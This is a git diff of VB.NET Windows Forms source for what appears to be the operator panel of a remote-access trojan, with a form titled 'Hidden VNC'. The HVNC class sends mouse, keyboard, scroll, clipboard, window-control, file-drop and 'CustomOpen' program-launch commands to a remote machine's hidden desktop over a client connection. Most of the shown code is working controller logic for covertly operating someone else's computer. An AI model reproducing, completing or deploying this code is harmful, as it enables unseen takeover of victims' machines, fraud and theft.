Guna2GradientButton2.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton2.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton2.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton2.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton2.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton2.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton2.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton2.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton2.Location = New System.Drawing.Point(328, 36)
|
||||
Guna2GradientButton2.Name = "Guna2GradientButton2"
|
||||
Guna2GradientButton2.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton2.TabIndex = 75
|
||||
Guna2GradientButton2.Text = "Custom"
|
||||
'
|
||||
'Guna2GroupBox1
|
||||
'
|
||||
Guna2GroupBox1.Controls.Add(Guna2GradientButton4)
|
||||
Guna2GroupBox1.Controls.Add(Guna2GradientButton3)
|
||||
Guna2GroupBox1.Controls.Add(Guna2GradientButton2)
|
||||
Guna2GroupBox1.Controls.Add(Guna2ComboBox2)
|
||||
Guna2GroupBox1.Controls.Add(Guna2GradientButton6)
|
||||
Guna2GroupBox1.Controls.Add(Label1)
|
||||
Guna2GroupBox1.CustomBorderThickness = New System.Windows.Forms.Padding(0)
|
||||
Guna2GroupBox1.Dock = System.Windows.Forms.DockStyle.Bottom
|
||||
Guna2GroupBox1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GroupBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2GroupBox1.Location = New System.Drawing.Point(0, 397)
|
||||
Guna2GroupBox1.Name = "Guna2GroupBox1"
|
||||
Guna2GroupBox1.Size = New System.Drawing.Size(815, 70)
|
||||
Guna2GroupBox1.TabIndex = 31
|
||||
Guna2GroupBox1.Text = "Options"
|
||||
'
|
||||
'Guna2GradientButton3
|
||||
'
|
||||
Guna2GradientButton3.BorderRadius = 3
|
||||
Guna2GradientButton3.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton3.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton3.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton3.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton3.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton3.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton3.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton3.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton3.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton3.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton3.Location = New System.Drawing.Point(410, 36)
|
||||
Guna2GradientButton3.Name = "Guna2GradientButton3"
|
||||
Guna2GradientButton3.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton3.TabIndex = 76
|
||||
Guna2GradientButton3.Text = "Copy"
|
||||
'
|
||||
'Guna2GradientButton4
|
||||
'
|
||||
Guna2GradientButton4.BorderRadius = 3
|
||||
Guna2GradientButton4.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton4.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton4.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton4.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton4.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton4.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton4.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton4.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton4.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton4.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton4.Location = New System.Drawing.Point(492, 36)
|
||||
Guna2GradientButton4.Name = "Guna2GradientButton4"
|
||||
Guna2GradientButton4.Size = New System.Drawing.Size(76, 21)
|
||||
Guna2GradientButton4.TabIndex = 77
|
||||
Guna2GradientButton4.Text = "Paste"
|
||||
'
|
||||
'Guna2ComboBox4
|
||||
'
|
||||
Guna2ComboBox4.BackColor = System.Drawing.Color.Transparent
|
||||
Guna2ComboBox4.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox4.BorderRadius = 3
|
||||
Guna2ComboBox4.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed
|
||||
Guna2ComboBox4.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList
|
||||
Guna2ComboBox4.FocusedColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox4.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ComboBox4.Font = New System.Drawing.Font("Segoe UI", 8.25!)
|
||||
Guna2ComboBox4.ForeColor = System.Drawing.Color.Black
|
||||
Guna2ComboBox4.ItemHeight = 15
|
||||
Guna2ComboBox4.Items.AddRange(New Object() {"Close", "Minimize", "Maximize"})
|
||||
Guna2ComboBox4.Location = New System.Drawing.Point(63, 13)
|
||||
Guna2ComboBox4.Name = "Guna2ComboBox4"
|
||||
Guna2ComboBox4.Size = New System.Drawing.Size(105, 21)
|
||||
Guna2ComboBox4.TabIndex = 41
|
||||
'
|
||||
'Label4
|
||||
'
|
||||
Label4.AutoSize = True
|
||||
Label4.ForeColor = System.Drawing.Color.Black
|
||||
Label4.Location = New System.Drawing.Point(5, 17)
|
||||
Label4.Name = "Label4"
|
||||
Label4.Size = New System.Drawing.Size(52, 13)
|
||||
Label4.TabIndex = 42
|
||||
Label4.Text = "Window :"
|
||||
'
|
||||
'Guna2GradientButton5
|
||||
'
|
||||
Guna2GradientButton5.BorderRadius = 3
|
||||
Guna2GradientButton5.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton5.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton5.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton5.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton5.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton5.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton5.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton5.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton5.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton5.ImageSize = New System.Drawing.Size(17, 17)
|
||||
Guna2GradientButton5.Location = New System.Drawing.Point(174, 13)
|
||||
Guna2GradientButton5.Name = "Guna2GradientButton5"
|
||||
Guna2GradientButton5.Size = New System.Drawing.Size(47, 21)
|
||||
Guna2GradientButton5.TabIndex = 79
|
||||
Guna2GradientButton5.Text = "Ok"
|
||||
'
|
||||
'Guna2Panel4
|
||||
'
|
||||
Guna2Panel4.Controls.Add(Label4)
|
||||
Guna2Panel4.Controls.Add(Guna2GradientButton5)
|
||||
Guna2Panel4.Controls.Add(Guna2ComboBox4)
|
||||
Guna2Panel4.Dock = System.Windows.Forms.DockStyle.Right
|
||||
Guna2Panel4.Location = New System.Drawing.Point(521, 21)
|
||||
Guna2Panel4.Name = "Guna2Panel4"
|
||||
Guna2Panel4.Size = New System.Drawing.Size(226, 44)
|
||||
Guna2Panel4.TabIndex = 80
|
||||
'
|
||||
'Form2
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(815, 489)
|
||||
Controls.Add(PictureBox1)
|
||||
Controls.Add(Panel2)
|
||||
Controls.Add(Guna2GroupBox1)
|
||||
Controls.Add(StatusStrip1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
MinimumSize = New System.Drawing.Size(831, 528)
|
||||
Name = "Form2"
|
||||
Text = "Hidden VNC"
|
||||
CType(PictureBox1, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
StatusStrip1.ResumeLayout(False)
|
||||
StatusStrip1.PerformLayout()
|
||||
Panel2.ResumeLayout(False)
|
||||
Panel2.PerformLayout()
|
||||
Guna2Panel1.ResumeLayout(False)
|
||||
Guna2GroupBox1.ResumeLayout(False)
|
||||
Guna2GroupBox1.PerformLayout()
|
||||
Guna2Panel4.ResumeLayout(False)
|
||||
Guna2Panel4.PerformLayout()
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
Friend WithEvents PictureBox1 As PictureBox
|
||||
Friend WithEvents StatusStrip1 As StatusStrip
|
||||
Friend WithEvents ToolStripStatusLabel1 As ToolStripStatusLabel
|
||||
Friend WithEvents Label1 As Label
|
||||
Friend WithEvents Label3 As Label
|
||||
Friend WithEvents Label2 As Label
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents Timer2 As Timer
|
||||
Friend WithEvents Timer3 As Timer
|
||||
Friend WithEvents Panel2 As Panel
|
||||
Friend WithEvents Guna2ComboBox3 As Guna.UI2.WinForms.Guna2ComboBox
|
||||
Friend WithEvents Guna2Panel1 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents Guna2GradientButton1 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2ComboBox1 As Guna.UI2.WinForms.Guna2ComboBox
|
||||
Friend WithEvents Guna2Panel3 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents Guna2Panel2 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents Guna2ComboBox2 As Guna.UI2.WinForms.Guna2ComboBox
|
||||
Friend WithEvents Guna2GradientButton6 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton2 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GroupBox1 As Guna.UI2.WinForms.Guna2GroupBox
|
||||
Friend WithEvents Guna2GradientButton4 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton3 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2GradientButton5 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Label4 As Label
|
||||
Friend WithEvents Guna2ComboBox4 As Guna.UI2.WinForms.Guna2ComboBox
|
||||
Friend WithEvents Guna2Panel4 As Guna.UI2.WinForms.Guna2Panel
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,280 @@
|
||||
Imports System.Text
|
||||
Imports Microsoft.VisualBasic.CompilerServices
|
||||
Imports System.Threading
|
||||
Public Class HVNC
|
||||
|
||||
Public C As Client
|
||||
|
||||
Public Width As Integer
|
||||
Public Height As Integer
|
||||
|
||||
|
||||
|
||||
Private int_0 As Integer
|
||||
Private bool_1 As Boolean
|
||||
Private bool_2 As Boolean
|
||||
|
||||
|
||||
Private int_1 As Integer
|
||||
Private bool_3 As Boolean
|
||||
Private bool_4 As Boolean
|
||||
|
||||
Public FPS As Integer = 0
|
||||
Public sw As Stopwatch = Stopwatch.StartNew()
|
||||
Public Property VNCBoxe() As PictureBox
|
||||
Get
|
||||
Return PictureBox1
|
||||
End Get
|
||||
Set(value As PictureBox)
|
||||
PictureBox1 = value
|
||||
End Set
|
||||
End Property
|
||||
Private Sub Form2_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
|
||||
AddHandler MyBase.MouseWheel, AddressOf MyMouseWheel
|
||||
|
||||
PictureBox1.AllowDrop = True
|
||||
Guna2ComboBox2.SelectedIndex = 0
|
||||
Guna2ComboBox1.SelectedIndex = 0
|
||||
Guna2ComboBox3.SelectedIndex = 8
|
||||
Guna2ComboBox4.SelectedIndex = 0
|
||||
|
||||
Guna2GradientButton1.PerformClick()
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub MyMouseWheel(sender As Object, e As MouseEventArgs)
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
Dim flag2 As Boolean = e.Delta < 0
|
||||
If flag2 Then
|
||||
Dim B As Byte() = SB("ScrollDown")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Else
|
||||
Dim B As Byte() = SB("ScrollUp")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_MouseEnter(sender As Object, e As EventArgs) Handles PictureBox1.MouseEnter
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
PictureBox1.Focus()
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_MouseUp(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseUp
|
||||
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
|
||||
Dim PP = New Point(e.X * (Width / PictureBox1.Width), e.Y * (Height / PictureBox1.Height))
|
||||
|
||||
If e.Button = MouseButtons.Left Then
|
||||
Dim B As Byte() = SB("MouseLeftUp" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
ElseIf e.Button = MouseButtons.Right Then
|
||||
Dim B As Byte() = SB("MouseRightUp" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
|
||||
End If
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_MouseDown(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseDown
|
||||
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
|
||||
|
||||
If bool_1 Then
|
||||
bool_1 = False
|
||||
Timer2.Start()
|
||||
ElseIf int_0 < SystemInformation.DoubleClickTime Then
|
||||
bool_2 = True
|
||||
End If
|
||||
|
||||
|
||||
If bool_3 Then
|
||||
bool_3 = False
|
||||
Timer3.Start()
|
||||
ElseIf int_1 < SystemInformation.DoubleClickTime Then
|
||||
bool_3 = True
|
||||
End If
|
||||
|
||||
|
||||
|
||||
Dim PP = New Point(e.X * (Width / PictureBox1.Width), e.Y * (Height / PictureBox1.Height))
|
||||
|
||||
If bool_3 Then
|
||||
|
||||
Dim B As Byte() = SB("MouseDoubleClick" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
Return
|
||||
|
||||
Else
|
||||
|
||||
If bool_2 Then
|
||||
|
||||
If e.Button = MouseButtons.Left Then
|
||||
Dim B As Byte() = SB("MouseLeftDown" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
|
||||
ElseIf e.Button = MouseButtons.Left Then
|
||||
Dim B As Byte() = SB("MouseLeftDown" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
ElseIf e.Button = MouseButtons.Right Then
|
||||
Dim B As Byte() = SB("MouseRightDown" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
|
||||
End If
|
||||
End If
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_MouseMove(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseMove
|
||||
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
Dim PP = New Point(e.X * (Width / PictureBox1.Width), e.Y * (Height / PictureBox1.Height))
|
||||
Dim B As Byte() = SB("MouseMove" & SettingsHelper.SPL & PP.X & SettingsHelper.SPL & PP.Y)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_KeyPress(sender As Object, e As KeyPressEventArgs) Handles PictureBox1.KeyPress
|
||||
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
Dim B As Byte() = SB("KeyboardDown" & SettingsHelper.SPL & e.KeyChar)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Form2_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
Dim B As Byte() = SB("CloseHVNC")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
|
||||
int_0 += 100
|
||||
Dim flag As Boolean = int_0 >= SystemInformation.DoubleClickTime
|
||||
If flag Then
|
||||
bool_1 = True
|
||||
bool_2 = False
|
||||
int_0 = 0
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick
|
||||
int_1 += 100
|
||||
Dim flag As Boolean = int_1 >= SystemInformation.DoubleClickTime
|
||||
If flag Then
|
||||
bool_3 = True
|
||||
bool_4 = False
|
||||
int_1 = 0
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_DragEnter(sender As Object, e As DragEventArgs) Handles PictureBox1.DragEnter
|
||||
If e.Data.GetDataPresent(DataFormats.FileDrop) Then
|
||||
e.Effect = DragDropEffects.Copy
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_DragDrop(sender As Object, e As DragEventArgs) Handles PictureBox1.DragDrop
|
||||
Dim files() As String = e.Data.GetData(DataFormats.FileDrop)
|
||||
For Each path In files
|
||||
If IO.File.Exists(path) Then
|
||||
Dim B As Byte() = SB("DeskDrop" & SettingsHelper.SPL & IO.Path.GetFileName(path) & SettingsHelper.SPL & Convert.ToBase64String(Compress(IO.File.ReadAllBytes(path))))
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
|
||||
If Guna2GradientButton1.Text = "OFF" Then
|
||||
Guna2GradientButton1.Text = "Capturing..."
|
||||
Guna2GradientButton1.Image = My.Resources._Stop
|
||||
|
||||
Dim B As Byte() = SB("Cap" & SettingsHelper.SPL & Guna2ComboBox1.Text.Replace("%", "").ToString & SettingsHelper.SPL & Conversions.ToString(Convert.ToDouble(Guna2ComboBox3.Text.Replace("%", "").ToString) / 100.0))
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
Else
|
||||
Guna2GradientButton1.Text = "OFF"
|
||||
Guna2GradientButton1.Image = My.Resources.Play
|
||||
End If
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton6_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton6.Click
|
||||
If Not String.IsNullOrEmpty(Guna2ComboBox2.Text) Then
|
||||
Dim B As Byte() = SB(Guna2ComboBox2.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton2_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton2.Click
|
||||
Using form As CustomOpen = New CustomOpen
|
||||
form.Guna2TextBox1.PlaceholderText = "Filename"
|
||||
form.Guna2TextBox2.PlaceholderText = "Argument"
|
||||
form.StartPosition = FormStartPosition.CenterParent
|
||||
If form.ShowDialog() = DialogResult.OK Then
|
||||
Dim B As Byte() = SB("CustomOpen" & SettingsHelper.SPL & form.Guna2TextBox1.Text & SettingsHelper.SPL & form.Guna2TextBox2.Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End Using
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton3_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton3.Click
|
||||
Try
|
||||
Dim B As Byte() = SB("CopyClib" & SettingsHelper.SPL & Windows.Forms.Clipboard.GetText)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton4_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton4.Click
|
||||
Try
|
||||
Dim B As Byte() = SB("Paste" & SettingsHelper.SPL & Convert.ToBase64String(Encoding.UTF8.GetBytes(Windows.Forms.Clipboard.GetText)))
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton5_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton5.Click
|
||||
If Guna2GradientButton1.Text = "Capturing..." Then
|
||||
Select Case Guna2ComboBox4.Text
|
||||
Case "Close"
|
||||
Dim B As Byte() = SB("CloseWindow")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Case "Maximize"
|
||||
Dim B As Byte() = SB("RestoreMaxTop")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Case "Minimize"
|
||||
Dim B As Byte() = SB("MinTop")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Select
|
||||
End If
|
||||
End Sub
|
||||
End Class
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Generated
+112
@@ -0,0 +1,112 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Hash
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Hash))
|
||||
Guna2TextBox1 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
label1 = New System.Windows.Forms.Label()
|
||||
Guna2GradientButton1 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
SuspendLayout()
|
||||
'
|
||||
'Guna2TextBox1
|
||||
'
|
||||
Guna2TextBox1.BorderColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2TextBox1.BorderRadius = 3
|
||||
Guna2TextBox1.Cursor = System.Windows.Forms.Cursors.IBeam
|
||||
Guna2TextBox1.DefaultText = ""
|
||||
Guna2TextBox1.DisabledState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer), CType(CType(208, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer), CType(CType(226, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer), CType(CType(138, Byte), Integer))
|
||||
Guna2TextBox1.FocusedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2TextBox1.ForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.HoverState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(94, Byte), Integer), CType(CType(148, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2TextBox1.Location = New System.Drawing.Point(12, 40)
|
||||
Guna2TextBox1.Name = "Guna2TextBox1"
|
||||
Guna2TextBox1.PasswordChar = Global.Microsoft.VisualBasic.ChrW(0)
|
||||
Guna2TextBox1.PlaceholderForeColor = System.Drawing.Color.Black
|
||||
Guna2TextBox1.PlaceholderText = ""
|
||||
Guna2TextBox1.ReadOnly = True
|
||||
Guna2TextBox1.SelectedText = ""
|
||||
Guna2TextBox1.Size = New System.Drawing.Size(248, 21)
|
||||
Guna2TextBox1.TabIndex = 60
|
||||
'
|
||||
'label1
|
||||
'
|
||||
label1.AutoSize = True
|
||||
label1.ForeColor = System.Drawing.Color.Black
|
||||
label1.Location = New System.Drawing.Point(12, 24)
|
||||
label1.Name = "label1"
|
||||
label1.Size = New System.Drawing.Size(38, 13)
|
||||
label1.TabIndex = 59
|
||||
label1.Text = "Hash :"
|
||||
'
|
||||
'Guna2GradientButton1
|
||||
'
|
||||
Guna2GradientButton1.BorderRadius = 4
|
||||
Guna2GradientButton1.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
